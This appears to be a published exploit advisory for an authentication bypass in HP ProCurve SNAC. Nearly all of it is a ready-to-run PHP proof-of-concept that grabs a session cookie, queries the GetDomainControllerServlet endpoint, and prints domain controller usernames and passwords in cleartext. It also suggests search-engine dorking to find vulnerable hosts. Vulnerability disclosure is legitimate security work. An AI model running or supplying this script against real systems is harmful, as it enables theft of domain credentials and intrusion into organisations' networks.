📄 HP ProCurve 4.00 Credential Disclosure

=============================================================================================================================================
    | # Title     : HP ProCurve 4.00 Credential Dumping Vulnerability                                                                           |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://support.hpe.com/hpesc/public/docDisplay?docId=c02619966&docLocale=en_US                                             |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: Performing a Credential Dumping attack against vulnerable HP ProCurve SNAC systems. 
    
        Bypass Authentication in HP ProCurve SNAC to Extract Domain Controller Data
    
       (Related : https://packetstorm.news/files/id/180690/ Linked CVE numbers: ) .
    	
    [+] save code as poc.php.
    
    [+] Set target : line 86
    
    [+] PayLoad :
    
    <?php
    
    class HPSNACExploit {
        private $target;
        private $port;
        
        public function __construct($target, $port = 443) {
            $this->target = $target;
            $this->port = $port;
        }
        
        private function sendRequest($url, $cookies = "") {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, "https://{$this->target}:{$this->port}{$url}");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            if (!empty($cookies)) {
                curl_setopt($ch, CURLOPT_HTTPHEADER, ["Cookie: $cookies"]);
            }
            $response = curl_exec($ch);
            curl_close($ch);
            return $response;
        }
        
        public function getSession() {
            $response = $this->sendRequest("/RegWeb/html/snac/index.html");
            preg_match_all('/Set-Cookie: (.*?);/i', $response, $matches);
            return isset($matches[1]) ? implode("; ", $matches[1]) : null;
        }
        
        public function getDomainInfo($session) {
            $response = $this->sendRequest("/RegWeb/RegWeb/GetDomainControllerServlet", $session);
            return (strpos($response, 'domainName') !== false) ? $response : null;
        }
        
        public function parseDomainData($xmlData) {
            $credentials = [];
            $xml = simplexml_load_string($xmlData);
            if ($xml && isset($xml->Controllers->Domain)) {
                foreach ($xml->Controllers->Domain as $domain) {
                    $credentials[] = [
                        'ip' => (string) $domain->domainControllerIP,
                        'port' => (string) $domain->port,
                        'service' => (string) $domain->connType,
                        'user' => (string) $domain->userName,
                        'password' => (string) $domain->password
                    ];
                }
            }
            return $credentials;
        }
        
        public function exploit() {
            echo "[*] Trying to get session...\n";
            $session = $this->getSession();
            if (!$session) {
                echo "[-] Failed to obtain session. Target may not be vulnerable.\n";
                return;
            }
            
            echo "[*] Exploiting authentication bypass...\n";
            $domainInfo = $this->getDomainInfo($session);
            if (!$domainInfo) {
                echo "[-] Exploit failed. Target may not be vulnerable.\n";
                return;
            }
            
            echo "[*] Parsing extracted data...\n";
            $credentials = $this->parseDomainData($domainInfo);
            if (empty($credentials)) {
                echo "[!] No domain controllers found.\n";
                return;
            }
            
            echo "[+] Credentials found:\n";
            foreach ($credentials as $cred) {
                echo "Domain Controller: {$cred['ip']}:{$cred['port']} ({$cred['service']})\n";
                echo "Username: {$cred['user']}\n";
                echo "Password: {$cred['password']}\n";
                echo "-----------------------------------------\n";
            }
        }
    }
    
    $exploit = new HPSNACExploit("target.com");
    $exploit->exploit();
    
    ?>
    
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================